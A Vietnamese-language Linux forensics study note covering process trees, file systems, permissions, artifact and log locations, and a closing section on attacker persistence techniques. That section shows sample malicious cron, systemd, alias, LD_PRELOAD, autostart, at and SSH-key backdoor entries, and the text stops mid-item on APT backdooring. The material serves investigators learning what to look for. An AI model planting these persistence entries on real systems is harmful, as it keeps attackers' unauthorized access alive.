# Linux Forensics ## Linux forensic là gì? * **Linux Forensics** là quá trình thu thập, phân tích và bảo toàn bằng chứng kỹ thuật số từ hệ điều hành **Linux**. * Trong lĩnh vực điều tra pháp lý kỹ thuật số (forensics) trên hệ điều hành **Linux**, việc thu thập thông tin cơ bản từ hệ thống bị xâm nhập hoặc bị tấn công là một bước quan trọng. Bằng cách kiểm tra và phân tích các thông tin này, các chuyên gia có thể xác định nguyên nhân của sự cố và đưa ra các biện pháp khắc phục kịp thời. ## Linux Process Tree * Trong **Linux**, tất cả các tiến trình (process) được tổ chức theo dạng cây (tree), với tiến trình đầu tiên là `init` (hoặc `systemd` trên các distro hiện đại). ![image](https://hackmd.io/_uploads/S16DBOhIxx.png) * Dưới đây là các thành phần chính: ### cpu_idle() * Không phải là `process` thật, mà là một phần trong `kernel` đảm nhiệm việc lên lịch **CPU** (`scheduling`) khi không có tiến trình nào cần chạy. * Tương tự với [System Idle Process](https://hackmd.io/fmZj8OQPRB-NQ3Zl7byxGQ#Windows-Process-Genealogy) trong **Windows**. ### init (PID 1) * Là tiến trình đầu tiên được khởi tạo bởi `kernel` khi **Linux** khởi động. * Là cha của mọi tiến trình khác (trực tiếp hoặc gián tiếp). * Nhận các tiến trình mồ côi (`process` sau khi được khởi chạy thì `parent` tự thoát) làm con khi `parent` của chúng bị kết thúc. * Trên các hệ thống hiện đại, `init` thường được thay bằng `systemd`. ### System Daemon (`Disk And Execution MONitor`) * Là các tiến trình chạy nền (`background process`) không yêu cầu người dùng tương tác (ví dụ: `sshd`, `cron`, `networkd`, `dbus`, ...) * Được khởi tạo bởi `init` hoặc `systemd`. * Phục vụ chức năng hệ thống như: kết nối mạng, xác thực, dịch vụ hệ thống,... * Với hệ thống `headless` (không `GUI`): `init → login daemon → shell / service → user process` ![image](https://hackmd.io/_uploads/B1Oiu_3Ueg.png) * Với hệ thống có `GUI`: `init → display manager → desktop environment → application launcher → user process` ![image](https://hackmd.io/_uploads/HJRXKOhLlx.png) * Nếu **Desktop Environment** (`DE`) không có `wrapper`, `application launcher` sẽ thoát ngay sau khi chạy ứng dụng → tiến trình con trở thành ``"mồ côi"`` và được `init` nhận lại để làm cha tiến trình con đó. * Với `SSH Session`: `init → sshd → user shell → user process` ![image](https://hackmd.io/_uploads/Syb2Yun8ll.png) ## File System ### Kiến trúc 3 lớp của File System trong Linux | Lớp | Vai trò chính | | ----------------------------- | ----------------------------------------------- | | **Logical File System** | Đóng vai trò làm giao diện giữa ứng dụng người dùng và hệ thống tệp. Nó hỗ trợ các thao tác cơ bản như mở, đọc, và đóng tệp, giúp ứng dụng có thể tương tác với hệ thống tệp một cách dễ dàng và phù hợp với mong đợi của người dùng. | | **Virtual File System (VFS)** | Là một lớp quan trọng cho phép nhiều hệ thống tệp vật lý hoạt động đồng thời. Nó cung cấp một giao diện chuẩn hóa, giúp các hệ thống tệp khác nhau có thể cùng tồn tại và hoạt động một cách hài hòa. Lớp này trừu tượng hóa các phức tạp bên dưới, đảm bảo sự tương thích và đồng nhất giữa các hệ thống tệp.| | **Physical File System** | Chịu trách nhiệm quản lý và lưu trữ bộ nhớ vật lý trên đĩa. Nó xử lý các chi tiết cấp thấp liên quan đến lưu trữ và truy xuất dữ liệu, tương tác trực tiếp với các thành phần phần cứng. Lớp này đảm bảo phân bổ và sử dụng tài nguyên lưu trữ một cách hiệu quả, góp phần vào hiệu suất và độ tin cậy tổng thể của hệ thống tệp.| ![image](https://hackmd.io/_uploads/r1mSnOhIxe.png) ### Một số khái niệm quan trọng * `Inode`: đại diện file/thư mục (quyền, kích thước, vị trí…). Nó là biểu diễn của bất kỳ tệp hoặc thư mục nào dựa trên các tham số - kích thước, quyền, quyền sở hữu và vị trí của tệp và thư mục. * `Journaling`: ghi nhật ký, theo dõi các thay đổi được thực hiện đối với tệp để khôi phục nếu crash, hệ thống gặp sự cố, ... * `Versioning`: bản sao của tệp được lưu trữ vào đĩa theo cách từng phút hoặc từng giờ để tạo bản sao lưu. ### Các loại File System trong Linux #### Ext (`Extended file system`) ![image](https://hackmd.io/_uploads/S1joAu3Ill.png) * `ext2`: Hệ thống tập tin không có tính năng `journaling`, phù hợp cho **ổ flash** và **SSD**. Giải quyết vấn đề về dấu thời gian riêng biệt cho truy cập, chỉnh sửa `inode` và dữ liệu. * `ext3`: Hệ thống tập tin `journaling`, đáng tin cậy và khắc phục được thời gian khởi động dài nếu hệ thống không nhất quán. Có tính năng mở rộng hệ thống tập tin trực tuyến và lập chỉ mục `HTree` cho thư mục lớn. * `ext4`: Được phát triển từ hệ thống tập tin `ext3`, thì `ext4` đã cải thiện và tối ưu hóa cho các nhu cầu lưu trữ hiện đại: - `ext4` tích hợp cơ chế hạn chế phân mảnh bằng cách phân bổ trước các khối và xóa các khối khi cần thiết. - **Journaling** : `ext4` hỗ trợ `journaling` giúp ghi lại các thay đổi trước khi thực hiện, đảm bảo tính toàn vẹn dữ liệu khi xảy ra sự cố. - `ext4` hỗ trợ file lên đến **16TB** và phân vùng lên đến **1EB**. - Khả năng mở rộng phân vùng tốt cho cả máy chủ và máy cá nhân. * Với tính năng ổn định, khả năng tối ưu hóa cho cả dữ liệu nhỏ và lớn, `ext4` là lựa chọn phổ biến cho cả `server` và máy tính cá nhân, đặc biệt khi không có yêu cầu đặc biệt về tốc độ truyền tải hoặc `snapshot` tự động. #### XFS (X File System) * Được phát triển bởi **Silicon Graphics**, `XFS` nổi bật nhờ khả năng xử lý dữ liệu nhanh, đặc biệt cho các file lớn: - Sử dụng cấu trúc **[cây B+](https://tek4.vn/khoa-hoc/cau-truc-du-lieu-va-thuat-toan/btree)** để phân bổ dữ liệu, `XFS` hạn chế phân mảnh dữ liệu hiệu quả. - `XFS` không có khả năng quản lý `snapshot` trực tiếp mà phải dựa vào công cụ như `LVM` để hỗ trợ `snapshot`. - Tối ưu hóa cho các tệp lớn, phù hợp với `server` lưu trữ video, server media cần tốc độ truyền tải cao. - `XFS` có thể mở rộng nhưng không hỗ trợ thu nhỏ phân vùng đã tạo. * `XFS` phù hợp cho media server, nhưng hạn chế khi sử dụng với hệ thống chứa nhiều tệp nhỏ như log hoặc database. Với máy cá nhân, `XFS` cũng không mang lại lợi thế so với `ext4`. #### **Btrfs (B-Tree File System)** * `Btrfs` được **Oracle** phát triển với các tính năng hiện đại và tối ưu cho môi trường máy chủ đám mây và hệ thống lưu trữ lớn: - Hỗ trợ snapshot nội bộ, giúp tạo bản sao và khôi phục nhanh chóng mà không tốn thêm không gian lưu trữ. - `Btrfs` tự động kiểm tra và sửa lỗi dữ liệu bằng cách dùng `checksumming`. - Quản lý tốt các hệ thống lưu trữ lớn, linh hoạt khi chia tách và mở rộng dung lượng. * `Btrfs` nổi bật với tính linh hoạt, phù hợp với các môi trường ảo hóa, máy chủ lưu trữ lớn và các ứng dụng yêu cầu `snapshot` thường xuyên. Tuy nhiên, nó chưa hoàn toàn ổn định như `ext4` hay `XFS` trong một số trường hợp nhất định. #### **ZFS (Z File System)** * `ZFS` là hệ thống tập tin tiên tiến được **Sun Microsystems** phát triển, nổi bật với tính bảo mật, khả năng mở rộng, và tự động sửa lỗi: - `ZFS` hỗ trợ snapshot và rollback mạnh mẽ, rất hữu ích cho sao lưu và khôi phục dữ liệu. - `ZFS` hỗ trợ mã hóa dữ liệu và tích hợp **RAID-Z**, bảo vệ dữ liệu hiệu quả. - `ZFS` quản lý tốt các hệ thống lưu trữ lớn, thích hợp cho các trung tâm dữ liệu và máy chủ đám mây. * `ZFS` phù hợp cho các hệ thống cần bảo mật cao, khả năng mở rộng lớn, và yêu cầu tính toàn vẹn dữ liệu. Hạn chế duy nhất của `ZFS` là tính phức tạp khi cấu hình và một số vấn đề về bản quyền trong **Linux**. #### FAT32 và NTFS * Dù là các hệ thống tập tin của **Windows**, `FAT32` và `NTFS` vẫn được sử dụng rộng rãi trong **Linux** khi cần chia sẻ dữ liệu với các hệ thống **Windows**: - **FAT32**: Dễ sử dụng, hỗ trợ tốt trên các ổ USB và thẻ nhớ, nhưng giới hạn kích thước file ở 4GB và không có tính năng `journaling`. - **NTFS**: Hỗ trợ dung lượng lớn và có tính năng `journaling`, tuy nhiên, khi sử dụng trên **Linux** có thể cần công cụ `ntfs-3g` để đọc và ghi. * **FAT32** và **NTFS** phù hợp để chia sẻ dữ liệu giữa các hệ thống khác nhau nhưng không lý tưởng cho hệ thống lưu trữ chính trong **Linux**. ### Cấu Trúc File System trong Linux ![471149639_9462360497108579_2595123228231016403_n](https://hackmd.io/_uploads/BkiHmK38gg.jpg) | Thư mục | Mô tả | Nội dung điển hình | |------------|--------------------------------------------------------------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------| | `/` | Thư mục gốc của hệ thống, đỉnh của cây thư mục trong **Linux**. Mọi tập tin và thư mục đều xuất phát từ đây. | Chứa các thư mục con như `/bin`, `/etc`, `/home`, v.v. | | `/bin` | Thư mục chứa các tệp lệnh cơ bản cần thiết cho người dùng và hệ thống, có thể được dùng ở chế độ `single-user`. | Các lệnh như `ls`, `cp`, `mv`, `rm`, `cat`, v.v. | | `/sbin` | Chứa các lệnh hệ thống quan trọng, chủ yếu được sử dụng bởi quản trị viên hệ thống (`super-user`). | Các lệnh như `ifconfig`, `iptables`, `reboot`, `shutdown`, v.v. | | `/etc` | Chứa các tệp cấu hình hệ thống, các dịch vụ, script khởi động, và tệp cấu hình cho các chương trình khác nhau. | `passwd` (quản lý người dùng), `hosts` (cấu hình DNS), `fstab` (quản lý hệ thống tập tin), v.v. | | `/home` | Thư mục chứa thư mục cá nhân của từng người dùng trên hệ thống. | Thư mục cá nhân như `/home/username`, chứa tài liệu, cấu hình cá nhân, và dữ liệu riêng. | | `/var` | Chứa các tệp tin có tính biến đổi cao và thay đổi liên tục như log, email, và dữ liệu của ứng dụng mạng. | `log` (log hệ thống), `mail` (thư điện tử), `spool` (dữ liệu tạm thời cho in ấn), `www` (dữ liệu web), v.v. | | `/lib` | Chứa các thư viện dùng chung cho các lệnh nằm trong `/bin` và `/sbin` và cho các chương trình và `module kernel` cần thiết để hệ thống hoạt động. | Các tệp `.so` (`Shared Object Libraries`) và các thư viện cần cho các lệnh trong `/bin` và `/sbin`. | | `/usr` | Thư mục chứa các chương trình và tệp dùng chung cho người dùng và phần mềm cài đặt, giống `/bin` và `/sbin` nhưng không thiết yếu. | Các thư mục con: `/usr/bin`, `/usr/sbin`, `/usr/lib`, `/usr/share` (tài liệu, biểu tượng, tài nguyên dùng chung). | | `/opt` | Thư mục chứa các phần mềm và ứng dụng tùy chọn của bên thứ ba, thường là các chương trình không đi kèm hệ thống. | Các chương trình phần mềm của bên thứ ba, ví dụ `/opt/google` cho Chrome, hoặc `/opt/lampp` cho XAMPP. | | `/tmp` | Thư mục tạm thời để lưu các tệp tin nhất thời, có thể bị xóa khi hệ thống khởi động lại. | Các tệp tạm thời được tạo bởi chương trình trong thời gian ngắn hạn. | | `/dev` | Thư mục chứa các tập tin thiết bị đại diện cho thiết bị phần cứng của hệ thống, cho phép truy cập thiết bị như tệp. | Các tệp như `sda` (ổ cứng), `tty` (terminal), `null` (thiết bị null), `random` (nguồn dữ liệu ngẫu nhiên), v.v. | | `/proc` | Thư mục ảo chứa thông tin về các tiến trình đang chạy và tài nguyên hệ thống, được hệ thống tự động tạo khi khởi động. | Tệp tin như `cpuinfo` (thông tin CPU), `meminfo` (thông tin bộ nhớ), `pid` của tiến trình hiện tại, v.v. | | `/sys` | Thư mục ảo cung cấp thông tin và giao tiếp với các thiết bị phần cứng, quản lý bởi kernel, bổ sung cho `/proc`. | Thông tin thiết bị phần cứng, module kernel và các thuộc tính như `block` (ổ cứng), `class` (các lớp thiết bị), v.v. | | `/boot` | Chứa các tệp tin cần thiết để khởi động hệ thống, bao gồm kernel và bootloader. | Các tệp như `vmlinuz` (kernel Linux), `initrd` (RAM disk), `grub` (bootloader GRUB). | | `/media` | Thư mục mount cho các thiết bị lưu trữ ngoài như USB, CD/DVD, thường được tự động mount tại đây. | Các thư mục con tạo tự động theo tên thiết bị như `/media/usb` khi cắm USB vào. | | `/mnt` | Thư mục tạm thời để mount các hệ thống tập tin, thường dùng để gắn ổ đĩa thủ công. | Được sử dụng cho mục đích mount hệ thống tập tin tạm thời trong các thao tác quản trị hệ thống. | | `/root` | Thư mục cá nhân của người dùng `root` (quản trị viên) của hệ thống. | Các tệp cá nhân, thiết lập, và cấu hình dành riêng cho tài khoản `root`. | | `/srv` | Chứa dữ liệu dành cho các dịch vụ mạng cung cấp như `web server`, `FTP server`. | Dữ liệu của dịch vụ như `/srv/www` (dữ liệu `web`), `/srv/ftp` (dữ liệu `FTP`). | | `/run` | Thư mục tạm để lưu trữ thông tin về các tiến trình và thông tin trạng thái hiện tại khi hệ thống đang chạy. | Các tệp `PID` và thông tin `socket` của các dịch vụ đang chạy. | ### Công cụ mount * **mount** là quá trình gắn một hệ thống tệp (`filesystem`) vào một thư mục trên cây thư mục hệ thống, để từ đó hệ thống có thể truy cập các file và thư mục bên trong `filesystem` đó. #### mount ```bash mount [tùy chọn] <thiết bị> <điểm mount> ``` - **<thiết bị>**: Đường dẫn đến thiết bị hoặc phân vùng cần mount - **<điểm mount>**: Thư mục sẽ chứa hệ thống tệp từ thiết bị - **Ví dụ**: ```bash mount /dev/sdb1 /mnt/mydisk ``` **Mount** phân vùng `/dev/sdb1` vào thư mục `/mnt/mydisk`, cho phép truy cập dữ liệu trên `/dev/sdb1` thông qua `/mnt/mydisk`. - một vài `option` thường dùng: - **-t**: Chỉ định loại `filesystem`. Ví dụ: ```bash mount -t ext4 /dev/sdb1 /mnt/mydisk ``` - **-o ro**: **Mount** ở chế độ chỉ đọc: ```bash mount -o ro /dev/sdb1 /mnt/mydisk ``` #### **umount** ```bash umount <điểm mount hoặc thiết bị> ``` - Ví dụ: ```bash umount /mnt/mydisk ``` - **Lưu ý**: Không nên `umount` khi đang có file đang mở trên `filesystem`, có thể dùng `lsof` để kiểm tra file mở: ```bash lsof /mnt/mydisk ``` #### **fstab** * `/etc/fstab` là nơi cấu hình để tự động **mount** các thiết bị khi khởi động. File này chứa danh sách các thiết bị và thư mục mount tương ứng, cùng các tùy chọn cụ thể - **Cấu trúc một dòng trong `fstab`**: ``` <thiết bị> <điểm mount> <loại filesystem> <tùy chọn> <dump> <pass> ``` - **<thiết bị>**: Đường dẫn thiết bị, ví dụ `/dev/sdb1` hoặc UUID - **<điểm mount>**: Thư mục mount, như `/mnt/mydisk` - **<loại filesystem>**: Loại hệ thống tệp, ví dụ `ext4` - **<tùy chọn>**: Các tùy chọn mount, ví dụ `defaults`, `ro`, `user` - **\<dump\>**: Thiết lập cho việc sao lưu, thường là `0` - **\<pass\>**: Xác định thứ tự kiểm tra `filesystem` khi khởi động, với `0` là không kiểm tra. * **Ví dụ:** ```bash /dev/sdb1 /mnt/mydisk ext4 defaults 0 0 ``` #### **fsck** * `fsck` (`file system check`) kiểm tra và sửa lỗi trên một hệ thống tệp Thường dùng khi gặp lỗi hoặc khi hệ thống bị tắt đột ngột. - **Cú pháp**: ```bash fsck <thiết bị> ``` **Lưu ý**: Trước khi chạy `fsck`, cần chắc chắn rằng `filesystem` không đang được mount. #### **mkfs** * Lệnh `mkfs` dùng để tạo một `filesystem` mới trên phân vùng. - **Cú pháp**: ```bash mkfs -t <loại filesystem> <thiết bị> ``` - **Ví dụ**: ```bash mkfs -t ext4 /dev/sdb1 ``` - **Chú ý**: `mkfs` sẽ xóa toàn bộ dữ liệu hiện tại trên phân vùng. ## Phân quyền trong Linux * Có 2 khái niệm rất quan trọng cần phải nhớ trong **Linux** đó là **permissions** và **ownership**. ### Ownership * Mỗi tệp hoặc thư mục có 3 cấp quyền chính: | Ownership | Giải thích | | --- | --- | | **User** | Người tạo ra tệp hoặc thư mục, có toàn quyền chỉnh sửa hoặc xóa nó. | | **Group** | Các thành viên trong nhóm được phân quyền trên tệp hoặc thư mục, thường thuộc cùng một dự án hoặc chức năng. | | **Other** | Tất cả những người dùng khác trên hệ thống không thuộc nhóm hoặc không là chủ sở hữu. | ### Permissions Mỗi một file hay thư mục trong **Linux** đều có 3 quyền **đọc, ghi, thực thi** được xác định cho 3 chủ sở hữu ở trên: | Permissions | Ký hiệu chữ | Ký hiệu số | Giải thích | | --- | --- | --- | --- | | **Read** | **`r`** | **`4`** | Nếu là một file thì quyền này cho phép mở file đó lên và đọc. Nếu là một thư mục thì nó cho phép liệt kê danh sách file hay thư mục trong thư mục đó. | | **Write** | **`w`** | **`2`** | Quyền ghi cho phép sửa đổi nội dung của file. Nếu là thư mục thì nó cho phép có thể **thêm**, **xóa** và **đổi tên** các file trong thư mục đó. | | **Execute** | **`x`** | **`1`** | Với **Windows** ta có thể chạy với một file có đuôi ``".exe"`` một cách dễ dàng. Trong **Linux** ta không thể chạy khi nó không được cấp quyền thực thi. Còn đối với thư mục thì ta không thể truy cập (`cd`) nếu bạn không có quyền thực thi nó. | ### Một vài lệnh liên quan ![image](https://hackmd.io/_uploads/ry0jFtnUxx.png) ![image](https://hackmd.io/_uploads/By1atF3Leg.png) - **Phân quyền bằng số** ```bash chmod <permissions-number> <filename> ``` Ngoài ra có thể tham khảo thêm câu lệnh: ```bash chmod u=rwx,g=rw,o=r <filename> ``` - **Thay đổi owner và group** * * Để thay đổi được bạn cần phải có quyền **sudo**. * * Thay đổi `user`: ```bash sudo chown <username> <filename> ``` * * Thay đổi `group`: ```bash sudo chgrp <groupname> <filename> ``` * * Để thay đổi cả `user` và `group`: ```bash sudo chown <username>:<groupname> <filename> ``` ### Các quyền đặc biệt Trong **Linux** có một số **quyền đặc biệt** được gọi là **SUID, SGID, và Sticky Bit**, được sử dụng để kiểm soát quyền truy cập và hành vi của tệp hoặc thư mục ở mức cao hơn. | Permissions | Giải thích | | --- | --- | | **SUID (Set User ID)** | Khi được đặt trên một tệp thực thi, tệp này sẽ chạy với quyền của chủ sở hữu thay vì người dùng hiện tại ,hữu ích cho các chương trình yêu cầu quyền cao hơn, như `passwd`, vốn cần thay đổi tệp hệ thống. | | **SGID (Set Group ID)** | Khi được đặt trên tệp thực thi, tệp sẽ chạy với quyền của nhóm tệp. Khi đặt trên thư mục, mọi tệp mới trong thư mục sẽ thừa hưởng quyền nhóm của thư mục đó thay vì quyền nhóm của người tạo. | | **Sticky Bit** | Khi được đặt trên thư mục, chỉ có chủ sở hữu hoặc root mới có thể xóa hoặc đổi tên tệp trong thư mục, ngay cả khi người khác có quyền ghi. Điều này thường được sử dụng trong thư mục công cộng như `/tmp` để tránh người dùng xóa tệp của nhau. | ### Thiết lập quyền đặc biệt Sử dụng `chmod` với các con số tương ứng: - **SUID**: 4 (ví dụ: `chmod 4755 filename`) - **SGID**: 2 (ví dụ: `chmod 2755 filename`) - **Sticky Bit**: 1 (ví dụ: `chmod 1755 directory`) ## Các Artifacts Quan Trọng trong Linux Forensics ### Shell History * Lịch sử các lệnh người dùng đã thực thi thông qua `shell`. Đây là một trong những nguồn thông tin quan trọng nhất trong điều tra số: * Với `user` thường: * `/home/<user>/.bash_history` * `/home/<user>/.zsh_history` * Với người dùng `root`: * `/root/.bash_history` * `/root/.zsh_history` * Lưu ý: Các file này có thể không ghi lại ngay lập tức nếu người dùng không đăng xuất đúng cách hoặc `shell` không flush nội dung. ### RC Files – File khởi tạo cấu hình shell * Được thực thi khi `shell` khởi động. **RC files** có thể bị lợi dụng để thực thi mã độc khi người dùng đăng nhập: * `/home/<user>/.bashrc` * `/home/<user>/.zshrc` * Ngoài ra, có thể có: * `.bash_profile, .profile` ### System Information - Thông tin hệ thống * **Timezone**: `/etc/timezone` → Dùng để xác định múi giờ hệ thống, quan trọng khi phân tích log theo thời gian. * **Thông tin mạng**: * `/etc/network/interfaces`: Cấu hình địa chỉ **IP**, `netmask`, `gateway`,... * `/etc/hosts`: Thiết lập `DNS` cục bộ. * `/etc/resolv.conf`: Cấu hình `DNS resolver`. * Thông tin hệ điều hành: * `/etc/os-release`: Cung cấp tên và phiên bản của hệ điều hành. * Thông tin người dùng: * `/etc/passwd`: Danh sách người dùng. * `/etc/shadow`: Hash mật khẩu người dùng. * `/etc/group`: Danh sách nhóm người dùng. ### Log hệ thống * Xác thực & người dùng: * `/var/log/auth.log` (**Debian-based**), `/var/log/secure` (**RHEL-based**): Các sự kiện đăng nhập, `sudo`, `SSH`,... * `/var/log/audit/audit.log`: Ghi lại chi tiết sự kiện bảo mật (nếu hệ thống dùng `auditd`). * Thông tin dịch vụ nền: * `/var/log/daemon.log`: Log của các tiến trình `daemon`. * Trạng thái hệ thống và các tác vụ `cron`: * `/var/log/syslog` * `/var/log/messages` * Tùy vào hệ điều hành (`Debian`, `Ubuntu`, `CentOS`, `Fedora`,...) mà các file log có thể thay đổi tên hoặc vị trí. ### Systemd Artifacts * Đối với hệ thống dùng `systemd` làm `init system`: * Thư mục chứa các `unit`: * `/usr/lib/systemd/` * ``/lib/systemd/`` * ``/etc/systemd/`` → Các file tại đây định nghĩa dịch vụ: tên service, script khởi động, thông số thực thi... ### SSH Artifacts * Khóa truy cập **SSH**: * `/home/<user>/.ssh/authorized_keys` * `/root/.ssh/authorized_keys` → Chứa `public key` được phép đăng nhập vào máy qua **SSH**. * Danh sách máy đã từng kết nối qua **SSH**: * `/home/<user>/.ssh/known_hosts` * `/root/.ssh/known_hosts` → Giúp xác định các host từ xa từng kết nối qua **SSH**. ## Linux Log Files - System Logs * Các logs trong Linux thường được lưu dưới dạng text và được lưu trong thư mục `/var/log` Logs có thể ghi nhận hầu như mọi thứ, từ quá trình khởi động, quản lý gói, kernel, Apache, MySQL, đến các dịch vụ khác * Logs trong **Linux** có thể được chia thành 4 nhóm chính: - **Application Logs**: Logs từ ứng dụng cụ thể. - **System Logs**: Logs ghi lại các hoạt động hệ thống. - **Service Logs**: Logs từ các dịch vụ hệ thống. - **Event Logs**: Logs ghi lại các sự kiện. ### Application Log * `/var/log/yum.log`: - Ghi lại thông tin về các gói được cài đặt thông qua lệnh `yum`, dùng để kiểm tra các sự cố liên quan đến cài đặt phần mềm. * `/var/log/cron`: - Ghi lại thông tin về các công việc định kỳ (`cron jobs`) ### System Log * `/var/log/syslog` và `/var/log/messages`: - Lưu trữ các thông báo chung và thông tin liên quan đến hệ thống, như sự cố khởi động, lỗi dịch vụ và các thông báo hệ thống. - `Debian`/`Ubuntu` dùng `/var/log/syslog`, còn `Redhat`/`CentOS` dùng `/var/log/messages`. * `/var/log/boot.log`: - Lưu thông tin khởi động hệ thống. * `/var/log/dmesg`: - Hiển thị thông báo từ [kernel ring buffer](https://linux-audit.com/what-is/kernel-ring-buffer/), chứa thông tin về phần cứng và `kernel` trong quá trình khởi động. * `/var/log/kern.log`: - Ghi lại các thông báo và cảnh báo từ `kernel`. ### Service Log * `/var/log/maillog` và `/var/log/mail.log`: - Lưu thông tin về các dịch vụ `email` như `postfix` và `SMTP daemon`. * `/var/log/apache2/` và `/var/log/httpd/`: - Lưu trữ các file `error_log` và `access_log` của **Apache daemon**. - `Debian`/`Ubuntu`: `/var/log/apache2/` - `RedHat`/`CentOS`: `/var/log/httpd/` - `/error_log`: Ghi lại lỗi của `httpd`, ví dụ các vấn đề bộ nhớ hoặc lỗi hệ thống. - `/access_log`: Ghi lại các yêu cầu `HTTP`. * `/var/log/mysqld.log` và `/var/log/mysql.log`: - Lưu lại thông báo về trạng thái và sự cố của **daemon MySQL** (`mysqld`), có thể là lỗi truy vấn **MySQL**,... ### Event Log * `/var/log/audit/audit.log`: - Log quan trọng nếu hệ thống dùng `auditd`, ghi lại các `event` như thay đổi file cấu hình, hành vi bất thường. * `/var/log/auth.log` và `/var/log/secure`: - Lưu trữ logs xác thực, bao gồm cả đăng nhập thành công và thất bại. - `Debian`/`Ubuntu`: `/var/log/auth.log` - `RedHat`/`CentOS`: `/var/log/secure` * `/var/log/faillog`: - Ghi lại các lần đăng nhập thất bại. * `/var/log/utmp`, `/var/log/wtmp` và `/var/log/lastlog`: - `/var/log/utmp`: Trạng thái đăng nhập hiện tại của người dùng. - `/var/log/wtmp`: Ghi lại mỗi lần đăng nhập/đăng xuất. - `/var/log/lastlog`: Ghi lại lần đăng nhập cuối cùng của mỗi người dùng. ### Các lệnh thường dùng khi phân tích log | Lệnh | Chức năng | Ví dụ | | | --------------------- | -------------------------------- | ------------------------------------------ | ------- | | `cat`, `less`, `more` | Xem toàn bộ nội dung log | `less /var/log/syslog` | | | `tail -f` | Theo dõi log theo thời gian thực | `tail -f /var/log/auth.log` | | | `grep` | Tìm kiếm mẫu | `grep 'Failed password' /var/log/auth.log` | | | `awk` | Trích xuất trường | `awk '{print $1,$2,$3}' /var/log/syslog` | | | `cut` | Cắt trường theo ký tự phân tách | `cut -d':' -f1 /etc/passwd` | | | `sed` | Thay thế mẫu | `sed 's/root/ROOT/g' /var/log/auth.log` | | ## Persistence trong Linux * **Persistence** là kỹ thuật mà `attacker` sử dụng để duy trì quyền truy cập vào hệ thống ngay cả sau khi hệ thống bị khởi động lại hoặc sau khi phiên truy cập ban đầu kết thúc. * Ta biết trong **Windows**, các kỹ thuật `persistence` thường xoay quanh việc chỉnh sửa `Registry`, tạo `shortcut` trong thư mục **Startup** hay lập lịch bằng `Scheduled Task`, nhưng ở Linux thì sao, có đa dạng hơn không, có gì giống và khác? ### 1. Cron jobs * **Cron** là một công cụ lên lịch trong **Linux**, cho phép chạy các tác vụ theo định kỳ. Kẻ tấn công có thể tạo các `cron jobs` để khởi chạy mã độc vào những thời điểm nhất định. **Kỹ thuật**: - Chỉnh sửa file cấu hình `cron` của `user` hoặc `system` (`/etc/crontab`, `/etc/cron.d/`, hoặc `crontab -e`) để thêm các lệnh gọi đến mã độc. - Ví dụ: Thêm vào `crontab`: `@reboot /bin/bash /path/to/malicious_script.sh` sẽ chạy mã độc mỗi khi hệ thống khởi động. ### 2. Systemd Services * **Systemd** là hệ thống quản lý dịch vụ của nhiều hệ điều hành **Linux** hiện đại. Bằng cách tạo một `service` mới hoặc sửa đổi các `service` hiện tại, kẻ tấn công có thể tự động khởi động mã độc cùng hệ thống. **Kỹ thuật**: - Tạo một file `.service` trong `/etc/systemd/system/` hoặc `/lib/systemd/system/` để chạy mã độc. - Ví dụ: Tạo file `/etc/systemd/system/malicious.service` với nội dung: ``` [Unit] Description=Malicious Service [Service] ExecStart=/bin/bash /path/to/malicious_script.sh [Install] WantedBy=multi-user.target ``` - Sau đó, kích hoạt dịch vụ bằng lệnh `systemctl enable malicious.service`. ### 3. rc.local và init.d * `rc.local` và các script trong `/etc/init.d/` cho phép thực thi các lệnh khi hệ thống khởi động. Đây là phương pháp truyền thống trong các bản **Linux** cũ trước khi `systemd` ra đời. **Kỹ thuật**: - Chỉnh sửa file `/etc/rc.local` để thêm các lệnh khởi chạy mã độc. - Hoặc tạo script trong `/etc/init.d/` và cấu hình để khởi chạy mã độc theo thứ tự khởi động của hệ thống. ### 4. Alias * Các file cấu hình **shell** như `.bashrc`, `.bash_profile`, `.zshrc` cho phép tạo `alias` cho các lệnh và thực thi mã mỗi khi **shell** khởi động. **Kỹ thuật**: - Chỉnh sửa `.bashrc` hoặc `.bash_profile` của user để thêm mã độc. - Ví dụ: Thêm dòng `alias ls='ls; /path/to/malicious_script.sh'` vào `.bashrc` sẽ khiến mã độc chạy mỗi khi người dùng gõ lệnh `ls`. ### 5. Shared Libraries (LD_PRELOAD) * Biến môi trường `LD_PRELOAD` cho phép chỉ định một thư viện sẽ được tải trước tất cả các thư viện khác khi một chương trình được chạy **Kỹ thuật**: - Chỉnh sửa file cấu hình **shell** để thêm `export LD_PRELOAD=/path/to/malicious_library.so`, điều này sẽ tải thư viện độc hại trước mọi thư viện khi chạy một ứng dụng nào đó. ### 6. Autostart trong Desktop Environment (XFCE, GNOME, KDE) - Nhiều môi trường **desktop** có chức năng `autostart` cho phép chạy ứng dụng khi `user` đăng nhập vào môi trường đồ họa. - **Kỹ thuật**: - Thêm file `.desktop` vào thư mục `autostart` của `user` như `~/.config/autostart/`. - Ví dụ, tạo file `malicious.desktop` trong `~/.config/autostart/` với nội dung: ``` [Desktop Entry] Type=Application Exec=/path/to/malicious_script.sh Hidden=false NoDisplay=false X-GNOME-Autostart-enabled=true Name=Malicious Script ``` ### 7. Kernel Modules (Rootkits) * Một kỹ thuật nâng cao là thêm module vào `kernel` để tạo `persistence`. Các `rootkit` thường chèn mã độc vào `kernel`, cho phép mã độc tồn tại ở mức rất thấp của hệ thống. **Kỹ thuật**: - Chèn module `kernel` độc hại vào `/lib/modules/$(uname -r)/kernel/drivers/` và load module này khi hệ thống khởi động lại. - Tuy nhiên kĩ thuật này thường yêu cầu quyền `root` nên không dễ để thực hiện. ### 8. **Backdooring SSH** * Nếu kẻ tấn công có quyền truy cập **SSH**, họ có thể thêm `public key` của họ vào file `~/.ssh/authorized_keys` của user để truy cập hệ thống bất cứ lúc nào. ### 9. Scheduled Jobs với `at` * `at` là một lệnh lên lịch để chạy một lệnh một lần vào thời điểm cụ thể. `Attacker` có thể sử dụng `at` để thiết lập lệnh độc hại chạy vào một thời điểm nào đó **Kỹ thuật**: - Sử dụng lệnh như `echo "/path/to/malicious_script.sh" | at now + 1 hour` để khởi chạy mã độc sau một khoảng thời gian nhất định. ### 10. APT Backdooring * **APT** (`Advanced Package Tool`) là công cụ quản lý gói mặc định trên nhiều hệ điều hành Linux, chủ yếu trên các bản phân phối **Debian-based**. `APT` quản lý và cập nhật phần mềm thông qua các file cấu hình trong thư mục `/etc/apt`, bao gồm các nguồn phần mềm (`repositories`) và các khóa **GPG** để xác minh tính hợp pháp của gói. **Kĩ thuật:** - **Thêm nguồn độc hại vào danh sách repository** trong `/etc/apt/sources.list` hoặc tạo một file mới trong `/etc/apt/` 